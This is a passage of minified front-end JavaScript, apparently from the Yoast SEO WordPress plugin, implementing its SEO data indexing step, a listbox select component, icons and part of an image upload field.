t=this.settings.restApi.root+this.settings.restApi.indexing_endpoints[e];for(;this.isState(Cc)&&!1!==t;)try{await this.doPreIndexingAction(e);const r=await this.doIndexingRequest(t,this.settings.restApi.nonce);await this.doPostIndexingAction(e,r),(0,l.flushSync)((()=>{this.setState((e=>({processed:e.processed+r.objects.length,firstTime:!1})))})),t=r.next_url}catch(e){(0,l.flushSync)((()=>{this.setState({state:Pc,error:e,firstTime:!1})}))}}async index(){for(const e of Object.keys(this.settings.restApi.indexing_endpoints))await this.doIndexing(e);this.isState(Pc)||this.isState(Rc)||this.completeIndexing()}async startIndexing(){this.setState({processed:0,state:Cc},this.index)}completeIndexing(){this.setState({state:Nc})}stopIndexing(){this.setState((e=>({state:Rc,processed:0,amount:e.amount-e.processed})))}componentDidMount(){var e,t;if(!this.settings.disabled&&(this.props.indexingStateCallback(0===this.state.amount?"already_done":this.state.state),"true"===new URLSearchParams(window.location.search).get("start-indexation"))){const r=function(e,t){const r=new URL(e);return r.searchParams.delete("start-indexation"),r.href}(window.location.href);e=document.title,t=r,window.history.pushState(null,e,t),this.startIndexing()}}componentDidUpdate(e,t){this.state.state!==t.state&&this.props.indexingStateCallback(this.state.state)}isState(e){return this.state.state===e}renderFirstIndexationNotice(){return(0,t.createElement)(Ai,{type:"info",className:"yst-mt-6"},(0,Ht.__)("This feature includes and replaces the Text Link Counter and Internal Linking Analysis","wordpress-seo"))}renderStartButton(){return(0,t.createElement)(c.Button,{variant:"secondary",onClick:this.startIndexing,id:"indexation-data-optimization","data-hiive-event-name":"clicked_start_data_optimization"},(0,Ht.__)("Start SEO data optimization","wordpress-seo"))}renderStopButton(){return(0,t.createElement)(c.Button,{variant:"secondary",onClick:this.stopIndexing},(0,Ht.__)("Stop SEO data optimization","wordpress-seo"))}renderDisabledTool(){return(0,t.createElement)(l.Fragment,null,(0,t.createElement)("p",null,(0,t.createElement)(c.Button,{variant:"secondary",disabled:!0,id:"indexation-data-optimization"},(0,Ht.__)("Start SEO data optimization","wordpress-seo"))),(0,t.createElement)(Ai,{type:"info",className:"yst-mt-6"},(0,Ht.__)("SEO data optimization is disabled for non-production environments.","wordpress-seo")))}renderProgressBar(){let e=0;return this.isState(Nc)&&(e=100),this.isState(Cc)&&(e=this.state.processed/parseInt(this.state.amount,10)*100),(0,t.createElement)("div",{className:"yst-w-full yst-bg-slate-200 yst-rounded-full yst-h-2.5 yst-mb-4"},(0,t.createElement)("div",{className:"yst-transition-[width] yst-ease-linear yst-bg-primary-500 yst-h-2.5 yst-rounded-full",style:{width:`${e}%`}}))}renderCaption(){return(0,t.createElement)(Mi.Z,{id:"optimization-in-progress-text",height:this.isState(Cc)?"auto":0,easing:"linear",duration:300},(0,t.createElement)("p",{className:"yst-text-sm yst-italic yst-mb-4 yst-mt-4"},(0,Ht.__)("SEO data optimization is running… You can safely move on to the next steps of this configuration.","wordpress-seo")))}renderErrorAlert(){return(0,t.createElement)(_c,{message:yoastIndexingData.errorMessage,error:this.state.error,className:"yst-mb-4"})}render(){return this.settings.disabled?this.renderDisabledTool():(0,t.createElement)("div",{className:"yst-relative"},this.props.children,(0,t.createElement)(ns,{unmount:!1,show:this.isState(Pc)||this.isState(Cc)||this.isState(Rc)&&this.state.amount>0,leave:"yst-transition-opacity yst-duration-1000",leaveFrom:"yst-opacity-100",leaveTo:"yst-opacity-0"},this.renderProgressBar(),this.isState(Pc)&&this.renderErrorAlert(),this.isState(Cc)?this.renderStopButton():this.renderStartButton(),this.renderCaption(),this.isState(Rc)&&this.state.firstTime&&this.renderFirstIndexationNotice()))}}Oc.propTypes={indexingActions:Wr().object,preIndexingActions:Wr().object,indexingStateCallback:Wr().func,children:Wr().node},Oc.defaultProps={indexingActions:{},preIndexingActions:{},indexingStateCallback:()=>{},children:null};const Tc=Oc;function Lc({indexingStateCallback:e,indexingState:r,isStepperFinished:n}){return(0,t.createElement)(Tc,{preIndexingActions:window.yoast.indexing.preIndexingActions,indexingActions:window.yoast.indexing.indexingActions,indexingStateCallback:e},(0,t.createElement)(ns,{unmount:!1,show:["completed","already_done"].includes(r),enter:"yst-transition-opacity yst-duration-1000",enterFrom:"yst-opacity-0",enterTo:"yst-opacity-100"},(0,t.createElement)(Ai,{type:"success"},"already_done"!==r||n?(0,Ht.__)("We've successfully analyzed your site & optimized your SEO data!","wordpress-seo"):(0,Ht.__)("We've already successfully analyzed your site. You can move on to the next step.","wordpress-seo"))))}function Ic({indexingState:e,setIndexingState:r,showRunIndexationAlert:n,isStepperFinished:a}){return(0,t.createElement)("div",{className:"yst-@container"},(0,t.createElement)("div",{className:"yst-flex yst-flex-col @lg:yst-flex-row yst-gap-6 yst-mb-8"},(0,t.createElement)("p",{className:"yst-text-sm yst-whitespace-pre-line"},(0,Ht.__)("Let's start by running the SEO data optimization. That means we'll scan your site and create a database with optimized SEO data. It won't change any content or settings on your site and you don't need to do anything, just hit start!\n\nNote: If you have a lot of content, this optimization could take a moment. But trust us, it's worth it!","wordpress-seo")),(0,t.createElement)(gc,{className:"yst-shrink-0 yst-h-28 yst-w-24"})),(0,t.createElement)("div",{id:"yoast-configuration-indexing-container",className:"indexation-container"},(0,t.createElement)(Lc,{indexingStateCallback:r,indexingState:e,isStepperFinished:a})),(0,t.createElement)(Di,{id:"indexation-alert",isVisible:"idle"===e&&n,expandDuration:400,type:"info"},(0,Ht.__)("Be aware that you should run the SEO data optimization for this configuration to take maximum effect.","wordpress-seo")))}function Mc(e,r,n=""){return(0,l.createInterpolateElement)(e,{a:(0,t.createElement)("a",{id:n,href:r,target:"_blank",rel:"noopener noreferrer"})})}function Ac(e,r){let[n,a]=(0,t.useState)(e),s=Ia(e);return Ta((()=>a(s.current)),[s,a,...r]),n}Lc.propTypes={indexingStateCallback:Wr().func.isRequired,indexingState:Wr().string.isRequired,isStepperFinished:Wr().bool},Lc.defaultProps={isStepperFinished:!1},Ic.propTypes={indexingState:Wr().string.isRequired,setIndexingState:Wr().func.isRequired,showRunIndexationAlert:Wr().bool,isStepperFinished:Wr().bool},Ic.defaultProps={showRunIndexationAlert:!1,isStepperFinished:!1};var Dc=(e=>(e[e.First=0]="First",e[e.Previous=1]="Previous",e[e.Next=2]="Next",e[e.Last=3]="Last",e[e.Specific=4]="Specific",e[e.Nothing=5]="Nothing",e))(Dc||{});function Fc(e,t){let r=t.resolveItems();if(r.length<=0)return null;let n=t.resolveActiveIndex(),a=null!=n?n:-1,s=(()=>{switch(e.focus){case 0:return r.findIndex((e=>!t.resolveDisabled(e)));case 1:{let e=r.slice().reverse().findIndex(((e,r,n)=>!(-1!==a&&n.length-r-1>=a||t.resolveDisabled(e))));return-1===e?e:r.length-1-e}case 2:return r.findIndex(((e,r)=>!(r<=a||t.resolveDisabled(e))));case 3:{let e=r.slice().reverse().findIndex((e=>!t.resolveDisabled(e)));return-1===e?e:r.length-1-e}case 4:return r.findIndex((r=>t.resolveId(r)===e.id));case 5:return null;default:!function(e){throw new Error("Unexpected object: "+e)}(e)}})();return-1===s?n:s}let jc=["[contentEditable=true]","[tabindex]","a[href]","area[href]","button:not([disabled])","iframe","input:not([disabled])","select:not([disabled])","textarea:not([disabled])"].map((e=>`${e}:not([tabindex='-1'])`)).join(",");var zc,Uc=(e=>(e[e.First=1]="First",e[e.Previous=2]="Previous",e[e.Next=4]="Next",e[e.Last=8]="Last",e[e.WrapAround=16]="WrapAround",e[e.NoScroll=32]="NoScroll",e))(Uc||{}),$c=(e=>(e[e.Error=0]="Error",e[e.Overflow=1]="Overflow",e[e.Success=2]="Success",e[e.Underflow=3]="Underflow",e))($c||{}),qc=((zc=qc||{})[zc.Previous=-1]="Previous",zc[zc.Next=1]="Next",zc),Bc=(e=>(e[e.Strict=0]="Strict",e[e.Loose=1]="Loose",e))(Bc||{});function Hc(e,t=0){var r;return e!==(null==(r=Es(e))?void 0:r.body)&&ma(t,{0:()=>e.matches(jc),1(){let t=e;for(;null!==t;){if(t.matches(jc))return!0;t=t.parentElement}return!1}})}function Vc(e,t=(e=>e)){return e.slice().sort(((e,r)=>{let n=t(e),a=t(r);if(null===n||null===a)return 0;let s=n.compareDocumentPosition(a);return s&Node.DOCUMENT_POSITION_FOLLOWING?-1:s&Node.DOCUMENT_POSITION_PRECEDING?1:0}))}function Zc(e,r,n){let a=Ia(r);(0,t.useEffect)((()=>{function t(e){a.current(e)}return document.addEventListener(e,t,n),()=>document.removeEventListener(e,t,n)}),[e,n])}function Wc(e,r,n=!0){let a=(0,t.useRef)(!1);function s(t,n){if(!a.current||t.defaultPrevented)return;let s=function e(t){return"function"==typeof t?e(t()):Array.isArray(t)||t instanceof Set?t:[t]}(e),o=n(t);if(null!==o&&o.getRootNode().contains(o)){for(let e of s){if(null===e)continue;let r=e instanceof HTMLElement?e:e.current;if(null!=r&&r.contains(o)||t.composed&&t.composedPath().includes(r))return}return!Hc(o,Bc.Loose)&&-1!==o.tabIndex&&t.preventDefault(),r(t,o)}}(0,t.useEffect)((()=>{requestAnimationFrame((()=>{a.current=n}))}),[n]);let o=(0,t.useRef)(null);Zc("mousedown",(e=>{var t,r;a.current&&(o.current=(null==(r=null==(t=e.composedPath)?void 0:t.call(e))?void 0:r[0])||e.target)}),!0),Zc("click",(e=>{!o.current||(s(e,(()=>o.current)),o.current=null)}),!0),Zc("blur",(e=>s(e,(()=>window.document.activeElement instanceof HTMLIFrameElement?window.document.activeElement:null))),!0)}["textarea","input"].join(",");var Gc=(e=>(e[e.None=1]="None",e[e.Focusable=2]="Focusable",e[e.Hidden=4]="Hidden",e))(Gc||{});let Yc=Ea((function(e,t){let{features:r=1,...n}=e;return va({ourProps:{ref:t,"aria-hidden":2==(2&r)||void 0,style:{position:"fixed",top:1,left:1,width:1,height:0,padding:0,margin:-1,overflow:"hidden",clip:"rect(0, 0, 0, 0)",whiteSpace:"nowrap",borderWidth:"0",...4==(4&r)&&2!=(2&r)&&{display:"none"}}},theirProps:n,slot:{},defaultTag:"div",name:"Hidden"})}));function Kc(e={},t=null,r=[]){for(let[n,a]of Object.entries(e))Qc(r,Jc(t,n),a);return r}function Jc(e,t){return e?e+"["+t+"]":t}function Qc(e,t,r){if(Array.isArray(r))for(let[n,a]of r.entries())Qc(e,Jc(t,n.toString()),a);else r instanceof Date?e.push([t,r.toISOString()]):"boolean"==typeof r?e.push([t,r?"1":"0"]):"string"==typeof r?e.push([t,r]):"number"==typeof r?e.push([t,`${r}`]):null==r?e.push([t,""]):Kc(r,t,e)}function Xc(e,r,n){let[a,s]=(0,t.useState)(n),o=void 0!==e,i=(0,t.useRef)(o),l=(0,t.useRef)(!1),c=(0,t.useRef)(!1);return!o||i.current||l.current?!o&&i.current&&!c.current&&(c.current=!0,i.current=o,console.error("A component is changing from controlled to uncontrolled. This may be caused by the value changing from a defined value to undefined, which should not happen.")):(l.current=!0,i.current=o,console.error("A component is changing from uncontrolled to controlled. This may be caused by the value changing from undefined to a defined value, which should not happen.")),[o?e:a,Aa((e=>(o||s(e),null==r?void 0:r(e))))]}function eu(e){return[e.screenX,e.screenY]}function tu(){let e=(0,t.useRef)([-1,-1]);return{wasMoved(t){let r=eu(t);return(e.current[0]!==r[0]||e.current[1]!==r[1])&&(e.current=r,!0)},update(t){e.current=eu(t)}}}var ru=(e=>(e[e.Open=0]="Open",e[e.Closed=1]="Closed",e))(ru||{}),nu=(e=>(e[e.Single=0]="Single",e[e.Multi=1]="Multi",e))(nu||{}),au=(e=>(e[e.Pointer=0]="Pointer",e[e.Other=1]="Other",e))(au||{}),su=(e=>(e[e.OpenListbox=0]="OpenListbox",e[e.CloseListbox=1]="CloseListbox",e[e.GoToOption=2]="GoToOption",e[e.Search=3]="Search",e[e.ClearSearch=4]="ClearSearch",e[e.RegisterOption=5]="RegisterOption",e[e.UnregisterOption=6]="UnregisterOption",e[e.RegisterLabel=7]="RegisterLabel",e))(su||{});function ou(e,t=(e=>e)){let r=null!==e.activeOptionIndex?e.options[e.activeOptionIndex]:null,n=Vc(t(e.options.slice()),(e=>e.dataRef.current.domRef.current)),a=r?n.indexOf(r):null;return-1===a&&(a=null),{options:n,activeOptionIndex:a}}let iu={1:e=>e.dataRef.current.disabled||1===e.listboxState?e:{...e,activeOptionIndex:null,listboxState:1},0(e){if(e.dataRef.current.disabled||0===e.listboxState)return e;let t=e.activeOptionIndex,{isSelected:r}=e.dataRef.current,n=e.options.findIndex((e=>r(e.dataRef.current.value)));return-1!==n&&(t=n),{...e,listboxState:0,activeOptionIndex:t}},2(e,t){var r;if(e.dataRef.current.disabled||1===e.listboxState)return e;let n=ou(e),a=Fc(t,{resolveItems:()=>n.options,resolveActiveIndex:()=>n.activeOptionIndex,resolveId:e=>e.id,resolveDisabled:e=>e.dataRef.current.disabled});return{...e,...n,searchQuery:"",activeOptionIndex:a,activationTrigger:null!=(r=t.trigger)?r:1}},3:(e,t)=>{if(e.dataRef.current.disabled||1===e.listboxState)return e;let r=""!==e.searchQuery?0:1,n=e.searchQuery+t.value.toLowerCase(),a=(null!==e.activeOptionIndex?e.options.slice(e.activeOptionIndex+r).concat(e.options.slice(0,e.activeOptionIndex+r)):e.options).find((e=>{var t;return!e.dataRef.current.disabled&&(null==(t=e.dataRef.current.textValue)?void 0:t.startsWith(n))})),s=a?e.options.indexOf(a):-1;return-1===s||s===e.activeOptionIndex?{...e,searchQuery:n}:{...e,searchQuery:n,activeOptionIndex:s,activationTrigger:1}},4:e=>e.dataRef.current.disabled||1===e.listboxState||""===e.searchQuery?e:{...e,searchQuery:""},5:(e,t)=>{let r={id:t.id,dataRef:t.dataRef},n=ou(e,(e=>[...e,r]));return null===e.activeOptionIndex&&e.dataRef.current.isSelected(t.dataRef.current.value)&&(n.activeOptionIndex=n.options.indexOf(r)),{...e,...n}},6:(e,t)=>{let r=ou(e,(e=>{let r=e.findIndex((e=>e.id===t.id));return-1!==r&&e.splice(r,1),e}));return{...e,...r,activationTrigger:1}},7:(e,t)=>({...e,labelId:t.id})},lu=(0,t.createContext)(null);function cu(e){let r=(0,t.useContext)(lu);if(null===r){let t=new Error(`<${e} /> is missing a parent <Listbox /> component.`);throw Error.captureStackTrace&&Error.captureStackTrace(t,cu),t}return r}lu.displayName="ListboxActionsContext";let uu=(0,t.createContext)(null);function du(e){let r=(0,t.useContext)(uu);if(null===r){let t=new Error(`<${e} /> is missing a parent <Listbox /> component.`);throw Error.captureStackTrace&&Error.captureStackTrace(t,du),t}return r}function pu(e,t){return ma(t.type,iu,e,t)}uu.displayName="ListboxDataContext";let mu=t.Fragment,fu=Ea((function(e,r){let{value:n,defaultValue:a,name:s,onChange:o,by:i=((e,t)=>e===t),disabled:l=!1,horizontal:c=!1,multiple:u=!1,...d}=e;const p=c?"horizontal":"vertical";let m=ja(r),[f=(u?[]:void 0),y]=Xc(n,o,a),[h,g]=(0,t.useReducer)(pu,{dataRef:(0,t.createRef)(),listboxState:1,options:[],searchQuery:"",labelId:null,activeOptionIndex:null,activationTrigger:1}),v=(0,t.useRef)({static:!1,hold:!1}),b=(0,t.useRef)(null),w=(0,t.useRef)(null),E=(0,t.useRef)(null),x=Aa("string"==typeof i?(e,t)=>{let r=i;return(null==e?void 0:e[r])===(null==t?void 0:t[r])}:i),S=(0,t.useCallback)((e=>ma(_.mode,{1:()=>f.some((t=>x(t,e))),0:()=>x(f,e)})),[f]),_=(0,t.useMemo)((()=>({...h,value:f,disabled:l,mode:u?1:0,orientation:p,compare:x,isSelected:S,optionsPropsRef:v,labelRef:b,buttonRef:w,optionsRef:E})),[f,l,u,h]);Ta((()=>{h.dataRef.current=_}),[_]),Wc([_.buttonRef,_.optionsRef],((e,t)=>{var r;g({type:1}),Hc(t,Bc.Loose)||(e.preventDefault(),null==(r=_.buttonRef.current)||r.focus())}),0===_.listboxState);let k=(0,t.useMemo)((()=>({open:0===_.listboxState,disabled:l,value:f})),[_,l,f]),R=Aa((e=>{let t=_.options.find((t=>t.id===e));!t||I(t.dataRef.current.value)})),C=Aa((()=>{if(null!==_.activeOptionIndex){let{dataRef:e,id:t}=_.options[_.activeOptionIndex];I(e.current.value),g({type:2,focus:Dc.Specific,id:t})}})),P=Aa((()=>g({type:0}))),N=Aa((()=>g({type:1}))),O=Aa(((e,t,r)=>e===Dc.Specific?g({type:2,focus:Dc.Specific,id:t,trigger:r}):g({type:2,focus:e,trigger:r}))),T=Aa(((e,t)=>(g({type:5,id:e,dataRef:t}),()=>g({type:6,id:e})))),L=Aa((e=>(g({type:7,id:e}),()=>g({type:7,id:null})))),I=Aa((e=>ma(_.mode,{0:()=>null==y?void 0:y(e),1(){let t=_.value.slice(),r=t.findIndex((t=>x(t,e)));return-1===r?t.push(e):t.splice(r,1),null==y?void 0:y(t)}}))),M=Aa((e=>g({type:3,value:e}))),A=Aa((()=>g({type:4}))),D=(0,t.useMemo)((()=>({onChange:I,registerOption:T,registerLabel:L,goToOption:O,closeListbox:N,openListbox:P,selectActiveOption:C,selectOption:R,search:M,clearSearch:A})),[]),F={ref:m},j=(0,t.useRef)(null),z=qa();return(0,t.useEffect)((()=>{!j.current||void 0!==a&&z.addEventListener(j.current,"reset",(()=>{I(a)}))}),[j,I]),t.createElement(lu.Provider,{value:D},t.createElement(uu.Provider,{value:_},t.createElement(Ca,{value:ma(_.listboxState,{0:ka.Open,1:ka.Closed})},null!=s&&null!=f&&Kc({[s]:f}).map((([e,r],n)=>t.createElement(Yc,{features:Gc.Hidden,ref:0===n?e=>{var t;j.current=null!=(t=null==e?void 0:e.closest("form"))?t:null}:void 0,...xa({key:e,as:"input",type:"hidden",hidden:!0,readOnly:!0,name:e,value:r})}))),va({ourProps:F,theirProps:d,slot:k,defaultTag:mu,name:"Listbox"}))))})),yu=Ea((function(e,r){var n;let a=hs(),{id:s=`headlessui-listbox-button-${a}`,...o}=e,i=du("Listbox.Button"),l=cu("Listbox.Button"),c=ja(i.buttonRef,r),u=qa(),d=Aa((e=>{switch(e.key){case gs.Space:case gs.Enter:case gs.ArrowDown:e.preventDefault(),l.openListbox(),u.nextFrame((()=>{i.value||l.goToOption(Dc.First)}));break;case gs.ArrowUp:e.preventDefault(),l.openListbox(),u.nextFrame((()=>{i.value||l.goToOption(Dc.Last)}))}})),p=Aa((e=>{e.key===gs.Space&&e.preventDefault()})),m=Aa((e=>{if(vs(e.currentTarget))return e.preventDefault();0===i.listboxState?(l.closeListbox(),u.nextFrame((()=>{var e;return null==(e=i.buttonRef.current)?void 0:e.focus({preventScroll:!0})}))):(e.preventDefault(),l.openListbox())})),f=Ac((()=>{if(i.labelId)return[i.labelId,s].join(" ")}),[i.labelId,s]),y=(0,t.useMemo)((()=>({open:0===i.listboxState,disabled:i.disabled,value:i.value})),[i]);return va({ourProps:{ref:c,id:s,type:ws(e,i.buttonRef),"aria-haspopup":"listbox","aria-controls":null==(n=i.optionsRef.current)?void 0:n.id,"aria-expanded":i.disabled?void 0:0===i.listboxState,"aria-labelledby":f,disabled:i.disabled,onKeyDown:d,onKeyUp:p,onClick:m},theirProps:o,slot:y,defaultTag:"button",name:"Listbox.Button"})})),hu=Ea((function(e,r){let n=hs(),{id:a=`headlessui-listbox-label-${n}`,...s}=e,o=du("Listbox.Label"),i=cu("Listbox.Label"),l=ja(o.labelRef,r);Ta((()=>i.registerLabel(a)),[a]);let c=Aa((()=>{var e;return null==(e=o.buttonRef.current)?void 0:e.focus({preventScroll:!0})})),u=(0,t.useMemo)((()=>({open:0===o.listboxState,disabled:o.disabled})),[o]);return va({ourProps:{ref:l,id:a,onClick:c},theirProps:s,slot:u,defaultTag:"label",name:"Listbox.Label"})})),gu=ha.RenderStrategy|ha.Static,vu=Ea((function(e,r){var n;let a=hs(),{id:s=`headlessui-listbox-options-${a}`,...o}=e,i=du("Listbox.Options"),l=cu("Listbox.Options"),c=ja(i.optionsRef,r),u=qa(),d=qa(),p=Ra(),m=null!==p?p===ka.Open:0===i.listboxState;(0,t.useEffect)((()=>{var e;let t=i.optionsRef.current;!t||0===i.listboxState&&t!==(null==(e=Es(t))?void 0:e.activeElement)&&t.focus({preventScroll:!0})}),[i.listboxState,i.optionsRef]);let f=Aa((e=>{switch(d.dispose(),e.key){case gs.Space:if(""!==i.searchQuery)return e.preventDefault(),e.stopPropagation(),l.search(e.key);case gs.Enter:if(e.preventDefault(),e.stopPropagation(),null!==i.activeOptionIndex){let{dataRef:e}=i.options[i.activeOptionIndex];l.onChange(e.current.value)}0===i.mode&&(l.closeListbox(),za().nextFrame((()=>{var e;return null==(e=i.buttonRef.current)?void 0:e.focus({preventScroll:!0})})));break;case ma(i.orientation,{vertical:gs.ArrowDown,horizontal:gs.ArrowRight}):return e.preventDefault(),e.stopPropagation(),l.goToOption(Dc.Next);case ma(i.orientation,{vertical:gs.ArrowUp,horizontal:gs.ArrowLeft}):return e.preventDefault(),e.stopPropagation(),l.goToOption(Dc.Previous);case gs.Home:case gs.PageUp:return e.preventDefault(),e.stopPropagation(),l.goToOption(Dc.First);case gs.End:case gs.PageDown:return e.preventDefault(),e.stopPropagation(),l.goToOption(Dc.Last);case gs.Escape:return e.preventDefault(),e.stopPropagation(),l.closeListbox(),u.nextFrame((()=>{var e;return null==(e=i.buttonRef.current)?void 0:e.focus({preventScroll:!0})}));case gs.Tab:e.preventDefault(),e.stopPropagation();break;default:1===e.key.length&&(l.search(e.key),d.setTimeout((()=>l.clearSearch()),350))}})),y=Ac((()=>{var e,t,r;return null!=(r=null==(e=i.labelRef.current)?void 0:e.id)?r:null==(t=i.buttonRef.current)?void 0:t.id}),[i.labelRef.current,i.buttonRef.current]),h=(0,t.useMemo)((()=>({open:0===i.listboxState})),[i]);return va({ourProps:{"aria-activedescendant":null===i.activeOptionIndex||null==(n=i.options[i.activeOptionIndex])?void 0:n.id,"aria-multiselectable":1===i.mode||void 0,"aria-labelledby":y,"aria-orientation":i.orientation,id:s,onKeyDown:f,role:"listbox",tabIndex:0,ref:c},theirProps:o,slot:h,defaultTag:"ul",features:gu,visible:m,name:"Listbox.Options"})})),bu=Ea((function(e,r){let n=hs(),{id:a=`headlessui-listbox-option-${n}`,disabled:s=!1,value:o,...i}=e,l=du("Listbox.Option"),c=cu("Listbox.Option"),u=null!==l.activeOptionIndex&&l.options[l.activeOptionIndex].id===a,d=l.isSelected(o),p=(0,t.useRef)(null),m=Ia({disabled:s,value:o,domRef:p,get textValue(){var e,t;return null==(t=null==(e=p.current)?void 0:e.textContent)?void 0:t.toLowerCase()}}),f=ja(r,p);Ta((()=>{if(0!==l.listboxState||!u||0===l.activationTrigger)return;let e=za();return e.requestAnimationFrame((()=>{var e,t;null==(t=null==(e=p.current)?void 0:e.scrollIntoView)||t.call(e,{block:"nearest"})})),e.dispose}),[p,u,l.listboxState,l.activationTrigger,l.activeOptionIndex]),Ta((()=>c.registerOption(a,m)),[m,a]);let y=Aa((e=>{if(s)return e.preventDefault();c.onChange(o),0===l.mode&&(c.closeListbox(),za().nextFrame((()=>{var e;return null==(e=l.buttonRef.current)?void 0:e.focus({preventScroll:!0})})))})),h=Aa((()=>{if(s)return c.goToOption(Dc.Nothing);c.goToOption(Dc.Specific,a)})),g=tu(),v=Aa((e=>g.update(e))),b=Aa((e=>{!g.wasMoved(e)||s||u||c.goToOption(Dc.Specific,a,0)})),w=Aa((e=>{!g.wasMoved(e)||s||!u||c.goToOption(Dc.Nothing)})),E=(0,t.useMemo)((()=>({active:u,selected:d,disabled:s})),[u,d,s]);return va({ourProps:{id:a,ref:f,role:"option",tabIndex:!0===s?void 0:-1,"aria-disabled":!0===s||void 0,"aria-selected":d,disabled:void 0,onClick:y,onFocus:h,onPointerEnter:v,onMouseEnter:v,onPointerMove:b,onMouseMove:b,onPointerLeave:w,onMouseLeave:w},theirProps:i,slot:E,defaultTag:"li",name:"Listbox.Option"})})),wu=Object.assign(fu,{Button:yu,Label:hu,Options:vu,Option:bu});const Eu=t.forwardRef((function(e,r){return t.createElement("svg",Object.assign({xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 20 20",fill:"currentColor","aria-hidden":"true",ref:r},e),t.createElement("path",{fillRule:"evenodd",d:"M10 3a1 1 0 01.707.293l3 3a1 1 0 01-1.414 1.414L10 5.414 7.707 7.707a1 1 0 01-1.414-1.414l3-3A1 1 0 0110 3zm-3.707 9.293a1 1 0 011.414 0L10 14.586l2.293-2.293a1 1 0 011.414 1.414l-3 3a1 1 0 01-1.414 0l-3-3a1 1 0 010-1.414z",clipRule:"evenodd"}))}));function xu({id:e,value:r,choices:n,label:a,onChange:s,error:o,disabled:i}){const c=(0,l.useMemo)((()=>{const e=n.find((e=>r===e.value));return e?e.label:(0,Ht.__)("Select an option","wordpress-seo")}),[n,r]);return(0,t.createElement)(wu,{id:e,as:"div",value:r,onChange:s,disabled:i},(({open:s})=>(0,t.createElement)(l.Fragment,null,a&&(0,t.createElement)(wu.Label,{className:"yst-block yst-max-w-sm yst-mb-1 yst-text-sm yst-font-medium yst-text-slate-700"},a),(0,t.createElement)("div",{className:"yst-max-w-sm"},(0,t.createElement)("div",{className:"yst-relative"},(0,t.createElement)(wu.Button,{"data-id":`button-${e} `,className:cr()("yst-relative yst-h-[45px] yst-w-full yst-leading-6 yst-py-2 yst-pl-3 yst-pr-10 yst-text-left yst-bg-white yst-border yst-border-slate-300 yst-rounded-md yst-shadow-sm yst-cursor-default focus:yst-outline-none focus:yst-ring-1 focus:yst-ring-primary-500 focus:yst-border-primary-500 sm:yst-text-sm",{"yst-border-red-300":o.isVisible,"yst-opacity-50":i},"emptyChoice"===r?"yst-text-slate-400":"yst-text-slate-700"),...fi(e,o)},(0,t.createElement)("span",{className:"yst-block yst-truncate"},c),(0,t.createElement)("span",{className:"yst-absolute yst-inset-y-0 yst-right-0 yst-flex yst-items-center yst-pr-2 yst-pointer-events-none"},(0,t.createElement)(Eu,{className:"yst-w-5 yst-h-5 yst-text-slate-400","aria-hidden":"true"})),o.isVisible&&(0,t.createElement)("div",{className:"yst-flex yst-items-center yst-absolute yst-inset-y-0 yst-right-0 yst-mr-8"},(0,t.createElement)(xi,{className:"yst-pointer-events-none yst-h-5 yst-w-5 yst-text-red-500"}))),(0,t.createElement)(ns,{show:s,as:l.Fragment,leave:"yst-transition yst-ease-in yst-duration-100",leaveFrom:"yst-opacity-100",leaveTo:"yst-opacity-0"},(0,t.createElement)(wu.Options,{static:!0,className:"yst-absolute yst-z-10 yst-w-full yst-mt-1 yst-overflow-auto yst-bg-white yst-rounded-md yst-shadow-lg yst-max-h-60 yst-ring-1 yst-ring-black yst-ring-opacity-5 focus:yst-outline-none sm:yst-text-sm"},n.map((e=>(0,t.createElement)(wu.Option,{key:e.id,as:l.Fragment,value:e.value},(({selected:r,active:n})=>(0,t.createElement)("li",{className:yi({selected:r,active:n})},(0,t.createElement)("span",{className:cr()(r?"yst-font-semibold":"yst-font-normal","yst-block yst-truncate")},e.label),r?(0,t.createElement)("span",{className:cr()("yst-text-white yst-absolute yst-inset-y-0 yst-right-0 yst-flex yst-items-center yst-pr-4")},(0,t.createElement)(Ui,{className:"yst-w-5 yst-h-5","aria-hidden":"true"})):null)))))))),o.isVisible&&(0,t.createElement)(ki,{id:mi(e),className:"yst-mt-2 yst-text-sm yst-text-red-600",texts:o.message})))))}xu.propTypes={value:Zr.PropTypes.string.isRequired,choices:Zr.PropTypes.arrayOf(Zr.PropTypes.shape({id:Zr.PropTypes.oneOfType([Zr.PropTypes.number,Zr.PropTypes.string]).isRequired,value:Zr.PropTypes.string.isRequired,label:Zr.PropTypes.string.isRequired})).isRequired,label:Zr.PropTypes.string.isRequired,onChange:Zr.PropTypes.func.isRequired,id:Zr.PropTypes.string.isRequired,error:Zr.PropTypes.shape({message:Zr.PropTypes.string,isVisible:Zr.PropTypes.bool}),disabled:Zr.PropTypes.bool},xu.defaultProps={error:{message:"",isVisible:!1},disabled:!1};const Su=t.forwardRef((function(e,r){return t.createElement("svg",Object.assign({xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",strokeWidth:2,stroke:"currentColor","aria-hidden":"true",ref:r},e),t.createElement("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4 16l4.586-4.586a2 2 0 012.828 0L16 16m-2-2l1.586-1.586a2 2 0 012.828 0L20 14m-6-6h.01M6 20h12a2 2 0 002-2V6a2 2 0 00-2-2H6a2 2 0 00-2 2v12a2 2 0 002 2z"}))})),_u=({className:e})=>(0,t.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",className:cr()("yst-animate-spin",e)},(0,t.createElement)("circle",{className:"yst-opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),(0,t.createElement)("path",{className:"yst-opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4zm2 5.291A7.962 7.962 0 014 12H0c0 3.042 1.135 5.824 3 7.938l3-2.647z"}));_u.propTypes={className:Wr().string},_u.defaultProps={className:""};const ku=_u;function Ru({id:e,imageAltText:r,url:n,fallbackUrl:a,label:s,onSelectImageClick:o,onRemoveImageClick:i,className:u,error:d,status:p}){const m=cr()("yst-relative yst-w-full yst-h-48 yst-mt-2 yst-flex yst-justify-center yst-items-center yst-rounded-md yst-mb-4 focus:yst-outline-none focus:yst-ring-2 focus:yst-ring-offset-2 focus:yst-ring-primary-500",d.isVisible?"yst-border-red-300":"yst-border-slate-300","yst-border-2 yst-border-dashed"),f=(0,l.useCallback)((()=>"loading"===p?(0,t.createElement)("div",{className:"yst-text-center"},(0,t.createElement)(ku,{size:"10",color:"gray-400",className:"yst-inline-block"}),(0,t.createElement)("p",{className:"yst-mt-3"},(0,Ht.__)("Uploading 